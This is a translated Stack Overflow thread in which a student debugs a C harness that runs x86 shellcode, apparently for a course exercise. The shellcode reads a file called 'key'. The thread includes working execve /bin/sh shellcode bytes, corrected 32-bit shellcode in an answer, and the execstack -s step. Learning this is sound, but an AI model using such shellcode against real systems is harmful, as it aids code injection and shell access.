【问题标题】:Shellcode C Program HarnessShellcode C 程序线束
【发布时间】:2014-04-17 05:54:26
【问题描述】:

很难让基本的 shellcode 工具/测试 C 程序工作。当我单独运行它(nasm 和 ld)时,汇编程序(如下所示)似乎工作得很好——因为它打开了一个名为 key 的文件,一次读取 1 个字节并将其显示到标准输出。

我已获取该 asm 文件并将十六进制编码提取到硬编码到我的 C 线束程序中名为 assn1[] 的 char[] 中,并使用函数指针来执行代码,但最终会出现段错误。为了确保我没有发疯,我添加了另一个名为 shellcode[] 的 char[],它包含用于弹出 shell(aleph1)的十六进制,这似乎工作得很好。我在运行我的 C 可执行文件之前调用了 execstack -s。

任何帮助将不胜感激!我已经在这上面旋转了好几个小时了......

assn1.asm-------

jmp short bottom    ; relative addressing start

top:    
; setup params for open()
pop ebx         ; param1 ebx now holds 'key' 
xor ecx, ecx        ; param2 ecx corresponds to flag O_RDONLY
            ; param3 edx not required for existing file
xor eax, eax        ; clear eax to 0
mov al, 5       ; syscall open()
int 0x80        ; software interrupt to call open()
            ; returns int filedescriptor in eax

; setup params for read() and write()
mov ebx, eax        ; param1 ebx now holds filedescriptor   
sub esp, 1      ; allocate buffer of 1 bytes on stack
mov ecx, esp        ; param2 ecx now points to buffer
xor edx, edx        ; clear edx
inc edx         ; param3 edx set to 1 byte to be read   
rwloop:
xor eax, eax        ; clear eax
mov al, 3       ; syscall code for read()
int 0x80        ; read() 1 byte into buffer
test eax,eax        ; if eax=0, read() reached EoF
jz end          ; and stop reading/writing

; else get ready to write
push ebx        ; store filedescriptor for KEY onto stack 
xor ebx, ebx        ; clear ebx
inc ebx         ; param1 ebx = 1 for stdout
            ; param2 and param3 same from read()
xor eax, eax        ; clear eax
mov al, 4       ; syscall for write()
int 0x80
pop ebx         ; restore filedescriptor to ebx
jmp rwloop      

end:
; place esp back to original point on stack
; add esp, 1

; exit cleanly
xor ebx,ebx     ; retcode = 1
xor eax,eax     ; eax = 0
inc eax         ; eax = 1, syscall exit(1)
int 0x80

bottom:
call top        ; address of key pushed on stack
db 'key', 0

assn1_harness.c ---

#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>


// The trailing null byte is implied because this is a string
char shellcode[] = {
"\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd"
"\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68"
};

char assn1[] = {
  "\xeb\x43\x66\x5b\x66\x31\xc9\x66\x31\xc0\xb0\x05\xcd\x80\x66\x89"
  "\xc3\x66\x83\xec\x01\x66\x89\xe1\x66\x31\xd2\x66\x42\x66\x31\xc0"
  "\xb0\x03\xcd\x80\x66\x85\xc0\x74\x12\x66\x53\x66\x31\xdb\x66\x43"
  "\x66\x31\xc0\xb0\x04\xcd\x80\x66\x5b\xeb\xe2\x66\x31\xdb\x66\x31"
  "\xc0\x66\x40\xcd\x80\xe8\xba\xff\x6b\x65\x79"
};

int main (int argc, char **argv) {

int (*func)();

//func = (int (*)()) shellcode;
func = (int (*)()) assn1;

(*func)();  

return 0;
}

【问题讨论】:

  • @AndreasGrapentin 他说“我正在调用 execstack -s”
  • @Jester 哇,我错过了。感谢您指出这一点。

标签: c assembly nasm shellcode


【解决方案1】:

你的机器码错了,好像是16位码。你忘了bits 32

这样效果更好:

char assn1[] = {
    "\xeb\x31\x5b\x31\xc9\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x83\xec\x01"
    "\x89\xe1\x31\xd2\x42\x31\xc0\xb0\x03\xcd\x80\x85\xc0\x74\x0d\x53"
    "\x31\xdb\x43\x31\xc0\xb0\x04\xcd\x80\x5b\xeb\xe9\x31\xdb\x31\xc0"
    "\x40\xcd\x80\xe8\xca\xff\xff\xff\x6b\x65\x79"
};

学习使用调试器。

【讨论】:

  • 谢谢你成功了!显然,这些东西对我来说是新的,我对 GDB 的运气并不好,但我也不太熟悉它。我应该在 GDB 反汇编中寻找哪些会提示我解决此问题的东西?
  • 您的代码的反汇编与您组装的不匹配。所有 32 位的东西都是 16 位的,例如 ax 而不是 eax 等。
猜你喜欢
  • 2013-05-13
  • 1970-01-01
  • 1970-01-01
  • 2019-05-09
  • 1970-01-01
  • 2015-02-28
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多